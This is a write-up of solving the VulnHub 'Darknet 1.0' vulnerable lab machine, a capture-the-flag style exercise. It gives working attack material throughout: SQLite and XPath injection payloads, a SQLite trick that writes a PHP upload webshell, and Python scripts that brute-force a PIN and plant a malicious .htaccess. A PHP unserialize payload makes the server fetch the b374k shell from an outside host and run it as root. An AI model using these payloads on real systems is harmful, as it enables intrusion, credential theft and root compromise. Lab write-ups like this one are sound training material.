VulnHub - Darknet 1.0 Solution Writeup

  1. Initial Recon
  2. 888.darknet.com
  3. signal8.darknet.com
  4. The End Game
  5. Side Note

I've seen people playing on Vulnhub for quite a while, however have never taken part myself. After spending time training myself, and learning as much as I can in various fields of security, I thought it was about time I took a serious crack at one of these vulnerable machines. Darknet - let's dance.

Darknet has a bit of everything, a sauce with a touch of makeup and frustration that I hope will lead hours of fun for migraines and who dares to conquer his chambers. As the target gets used will read the file contents /root/flag.txt obviously once climbed the privileges necessary to accomplish the task.

https://www.vulnhub.com/entry/darknet-10,120/

Tools Used

Initial Recon

My first port of call was an nmap scan to detect which services are running on the VM.

nmap on Darknet (10.0.5.99)

$ nmap -T4 -A -v 10.0.5.99

Starting Nmap 6.40 ( http://nmap.org ) at 2015-05-26 09:18 BST
NSE: Loaded 110 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 09:18
Scanning 10.0.5.99 [1 port]
Completed ARP Ping Scan at 09:18, 0.21s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:18
Scanning darknet (10.0.5.99) [1000 ports]
Discovered open port 80/tcp on 10.0.5.99
Discovered open port 111/tcp on 10.0.5.99
Completed SYN Stealth Scan at 09:18, 1.37s elapsed (1000 total ports)
Initiating Service scan at 09:18
Scanning 2 services on darknet (10.0.5.99)
Completed Service scan at 09:18, 6.01s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against darknet (10.0.5.99)
Retrying OS detection (try #2) against darknet (10.0.5.99)
Retrying OS detection (try #3) against darknet (10.0.5.99)
Retrying OS detection (try #4) against darknet (10.0.5.99)
Retrying OS detection (try #5) against darknet (10.0.5.99)
NSE: Script scanning 10.0.5.99.
Initiating NSE at 09:18
Completed NSE at 09:18, 0.02s elapsed
Nmap scan report for darknet (10.0.5.99)
Host is up (0.00047s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE VERSION
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          45413/tcp  status
|_  100024  1          54061/udp  status
MAC Address: 08:00:27:35:C7:24 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.40%E=4%D=5/26%OT=80%CT=1%CU=42380%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=55642C69%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=I%TS=8
OS:)OPS(O1=M5B4ST11NW3%O2=M5B4ST11NW3%O3=M5B4NNT11NW3%O4=M5B4ST11NW3%O5=M5B
OS:4ST11NW3%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890
OS:)ECN(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW3%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%D
OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)

Uptime guess: 0.007 days (since Tue May 26 09:08:32 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.47 ms darknet (10.0.5.99)

NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.52 seconds
           Raw packets sent: 1279 (65.744KB) | Rcvd: 1239 (58.336KB)

Ok, so we can see that Apache is running on port 80. After visiting the site, we're presented with a lovely splash screen. There's no robots.txt file, so I turn to dirbuster. Below are the hits - the most interesting ones are the /access/ directory (which contains an Apache VHOST file named 888.darknet.com.backup - as below), and the /sec.php script (which produces an error).

888.darknet.com.backup

<VirtualHost *:80>
    ServerName 888.darknet.com
    ServerAdmin devnull@darknet.com
    DocumentRoot /home/devnull/public_html
    ErrorLog /home/devnull/logs
</VirtualHost><

I couldn't see anything else of interest on the default site, so it's time to move on to this newly discovered VHOST - 888.darknet.com.

888.darknet.com

After adding the host to my /etc/hosts file, I browse to it, and am presented with a login screen.

After a little bit of prodding around, I can make several assumptions about this script.

  1. The script appears to use SQLITE as its database
  2. Both a Username and a Password are required for the form to attempt a login
  3. Various keywords and characters cause a validation error (such as 'select', 'and', and '=')

After spending some time trying various different SQLI payloads, I was able to bypass the authentication by providing the following username (and any password). I assumed the username was 'devnull' from the contents of the VHOST file.

SQLITE SQLI payload to bypass authentication

devnull' or '1

Once we'd logged in, we were presented with a SQLITE administration panel. After doing a bit of reading, I decided to try and drop a shell using a trick I found at http://gwae.trollab.org/sqlite-injection.html. In order to drop this shell, we needed a writeable directory. After running dirbuster, I tried all of the directories available to me, finally settling on the 'img' directory.

SQLITE payload to drop an upload script

ATTACH DATABASE '/home/devnull/public_html/img/upload.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ("<?php error_reporting(E_ALL); ini_set('display_errors', 1); $fp = fopen($_POST['name'], 'wb'); fwrite($fp, base64_decode($_POST['content'])); fclose($fp); ?>");

This allowed us to drop an extended shell (b374 in this case) to our target, by submitting a POST request to this script with the parameters 'name' (for our filename / path), and 'content' (with our Base64 encoded file content).

Once b374k was dropped, I attempted to get a shell. Unfortunately, certain key PHP functions were disabled. In addition to this, the open_basedir setting was set to /etc/apache2:/home/devnull:/tmp , which unfortunately prevents us from performing much more recon on the host, but checking the Apache2 config directory (/etc/apache2) we discover a couple of things.

  • A new hostname - 'signal8.darknet.com'
  • Apache is using both mod_php and mod_suphp. I make a note of their handler names, for future reference

Time to move on to 'signal8.darknet.com'.

signal8.darknet.com

Upon hitting the domain, we were presented with a couple of links to a script named 'contact.php', with a numeric ID. This stank of SQLI - but I was mistaken.

First things first - I checked the robots.txt file, and found a directory named '/xpanel/'. Upon visiting this directory, we're presented with a login form. I attempted SQLI and bruteforce with an English and Spanish wordlist on this form with no success, so I turned my attention back to the previously found links to 'contact.php'.

Like I said - it felt like SQLI, but I was mistaken. After attempting SQLI under the assumption of SQLITE for a time, I decided to try a few other injection methods. Finally, I confirmed that it was infact querying an XML DOM using XPATH by manipulating the ID to include various characters used in XPATH queries (such as square brackets, pipes, etc).

XPATH payload to confirm XPATH

http://signal8.darknet.com/contact.php?id=1][1

After a great deal of trying different paths to the user elements in the XML file (which quite frankly, I thought very unlikely to succeed), I got lucky, and managed to ascertain a valid path in the users XML file was '/auth'. Using this, I could construct an XPATH payload to manipulate the return data.

XPATH payload to confirm element path

http://signal8.darknet.com/contact.php?id=1]/email|/auth[id=0][1

Once I'd ascertained that, I discovered a new element named 'username', but could not find an element named 'password'. After taking another look at the login form, I saw that the hints on the input fields were in Spanish. After a few attempts, I found that the password field was named 'clave'. Using the below query, I was able to retrieve the password for the users for this site, and login. I cannot stress how lucky I feel I got with this..

XPATH payload to extract password from a user

http://signal8.darknet.com/contact.php?id=1]/clave|/auth[id=0][1

After logging in with our newly obtained username and password, we're presented with a link to a file named 'edit.php'. This was a troll.

Running dirbuster again, we discover a directory named '/xpanel/uploads/' and a script named '/xpanel/ploy.php'. Upon visiting 'ploy.php', we're presented with an upload form, with a PIN style input.

After some experimentation, I ascertained that all three inputs were required in order to proceed ('Action', 'checkbox[]' and 'imag'). I was also able to ascertain, thanks to error messages, that we must select exactly four 'numbers' in the PIN style input. Time for some brute-force.

Python script to crack the PIN

import requests
s = requests.session()
target = 'http://signal8.darknet.com/xpanel/'

url = '%s/index.php'%target
payload = {
        "username":"errorlevel",
        "password":"tc65Igkq6DF"
}
r = s.post(url, data=payload)

import itertools,sys
url = '%s/ploy.php'%target

for perm in itertools.permutations(["37","58","22","12","72","10","59","17","99"],4):
        payload = {
                "Action":"Upload",
                "checkbox[]":perm
        }
        files={"imag":('testing.php',"<?php phpinfo();")}
        r = s.post(url, data=payload, files=files)

        if r.text.find("Key incorrecta!") == -1:
                print "Pin is: %s"%"".join(perm)
                sys.exit()

While this got us the PIN, we were presented with another validation message, which essentially meant we could not upload any files with the 'php' extension. Getting past this took some time, but I realised as we're able to upload anything BUT 'php' files, we could upload a malicious '.htaccess' file, with some PHP code inside. From previous explorations, I could see that SUPHP was being used, so I created the following HTACCESS allows us to once again upload arbitrary files to the site, and uploaded it using a modified version of the above script, and dropped our b374k shell.

Note our use of the mod_suphp handler. I first tried using the usual mod_php handler, however as the errorlevel home directory is owned by errorlevel, and not www-data, we could not write to the uploads directory.

.htaccess file which includes an uploader

AddHandler application/x-httpd-suphp .htaccess
DirectoryIndex .htaccess
<FilesMatch "^\.ht">
    Order allow,deny
    Allow from all
    SetHandler application/x-httpd-suphp
</FilesMatch>
#<?php error_reporting(E_ALL); ini_set('display_errors', 1); $fp = fopen($_POST['name'], 'wb'); fwrite($fp, base64_decode($_POST['content'])); fclose($fp); ?>

Python script that combined cracking the PIN, dropping our uploader and dropping b374k.php

import requests
s = requests.session()
target = 'http://signal8.darknet.com/xpanel/'

url = '%s/index.php'%target
payload = {
    "username":"errorlevel",
    "password":"tc65Igkq6DF"
}
r = s.post(url, data=payload)

import itertools,sys,base64
url = '%s/ploy.php'%target

for perm in itertools.permutations(["37","58","22","12","72","10","59","17","99"],4):
    payload = {
        "Action":"Upload",
        "checkbox[]":perm
    }
    f = open("htaccess.inianduploader")
    files = {"imag":('.htaccess',"\n".join(f.readlines()))}

    r = s.post(url, data=payload, files=files)
    if r.text.find("Key incorrecta!") == -1:
        print "Pin is: %s"%"".join(perm)
        print r.text

        f = open('b374k.php')
        url = '%s/uploads/'%target
        payload = {
            "name":"/home/errorlevel/public_html/xpanel/uploads/b374k.php",
            "content":base64.b64encode("\n".join(f.readlines()))
        }
        r = s.get(url)
        r = s.post(url, data=payload)
        print r.text
        sys.exit()

After logging on to b374k, I check the PHP configuration. This time, open_basedir is not set - WINNING. Now I'm able to browse to /var/www and inspect our mystery script - sec.php.

The End Game

Source of /var/www/sec.php

<?php

require "Classes/Test.php";
require "Classes/Show.php";

if(!empty($_POST['test'])){
    $d=$_POST['test'];
    $j=unserialize($d);
    echo $j;
}
?>

Ok, so sec.php takes in a POST parameter of 'test', unserializes it and echos out the end value. It also includes a couple of Classes. After inspecting the source of these Classes, the Test Class stands out especially.

Source of /var/www/Classes/Test.php

<?php

class Test {

    public $url;
    public $name_file;
    public $path;

    function __destruct(){
        $data=file_get_contents($this->url);
        $f=fopen($this->path."/".$this->name_file, "w");
        fwrite($f, $data);
        fclose($f);
        chmod($this->path."/".$this->name_file, 0644);
}
}

?>

As this Class has a __destruct method defined, this means we can utilize it when providing the data which is subsequently unserialized by PHP. We can override the values of internal variables as well, which means we can drop any file, from any URL, to any path. As the script is being written by root, and PHP is being handled through mod_suphp, it means we can drop a shell and have it executed as root. First things first - we need to get sec.php to execute.

I checked for any world writeable files. Lo and behold, the SUPHP config file at /etc/suphp/suphp.conf was world writeable! After looking back at the script at /var/www/sec.php, the reason it was returning a 500 error must of been because its UID was below the minimum set in /etc/suphp/suphp.conf. After lowering the minimum, the script at /var/www/sec.php executed successfully.

Now that we've got sec.php executing, and we know that there's a vulnerable Class available to us, we can drop our b374k shell with a uid of root.

Dropping b374k by exploiting vulnerable unserialize Class, and __destruct method

import requests
s = requests.session()
target = 'http://darknet/sec.php'
payload = {
    "test":'O:4:"Test":3:{s:3:"url";s:39:"https://research.g0blin.co.uk/b374k.txt";s:4:"path";s:8:"/var/www";s:9:"name_file";s:9:"b374k.php"}'
}
r = s.post(target, data=payload)

Opening up b374k one last time, we're now able to read from the '/root/' directory, and get our flag!

      ___           ___           ___           ___           ___           ___           ___     
     /\  \         /\  \         /\  \         /\__\         /\__\         /\  \         /\  \    
    /::\  \       /::\  \       /::\  \       /:/  /        /::|  |       /::\  \        \:\  \   
   /:/\:\  \     /:/\:\  \     /:/\:\  \     /:/__/        /:|:|  |      /:/\:\  \        \:\  \  
  /:/  \:\__\   /::\~\:\  \   /::\~\:\  \   /::\__\____   /:/|:|  |__   /::\~\:\  \       /::\  \
 /:/__/ \:|__| /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:::::\__\ /:/ |:| /\__\ /:/\:\ \:\__\     /:/\:\__\
 \:\  \ /:/  / \/__\:\/:/  / \/_|::\/:/  / \/_|:|~~|~    \/__|:|/:/  / \:\~\:\ \/__/    /:/  \/__/
  \:\  /:/  /       \::/  /     |:|::/  /     |:|  |         |:/:/  /   \:\ \:\__\     /:/  /     
   \:\/:/  /        /:/  /      |:|\/__/      |:|  |         |::/  /     \:\ \/__/     \/__/      
    \::/__/        /:/  /       |:|  |        |:|  |         /:/  /       \:\__\                  
     ~~            \/__/         \|__|         \|__|         \/__/         \/__/                 

     Sabia que podias Campeon!, espero que esta VM haya sido de tu agrado y te hayas divertido
     tratando de llegar hasta aca. Eso es lo que realmente importa!.

#Blog: www.securitysignal.org

#Twitter: @SecSignal, @q3rv0</pre>

If we really wanted, we could also get a shell as root.

I had great fun on this challenge, and learnt a few new tricks for sure. Thanks @q3rv0!

Side Note

This challenge could of been completed much faster by dropping a 'php.ini' file on the '888.darknet.com' site. This would of allowed us to override the defaults imposed by mod_suphp, which in turn would of allowed us to not only view the contents of the files in /var/www, but also overwrite the contents of the suphp config file. I originally used this method to gain a shell on the '888.darknet.com' site, but decided to re-visit my solution, and figure out the 'correct' way of solving the challenge.

The php.ini file that would of allowed this challenge to be solved early is as below. Inspiration for this evasion of php restrictions was taken from http://cdn.r000t.com/jkiv_scripts/f.txt (which appears to be down, but the file is cached on Google).

Malicious php.ini file

disable_functions = hack,the,planet
magic_quotes_gpc = off
safe_mode = off
suhosin.executor.func.blacklist = hack,the,planet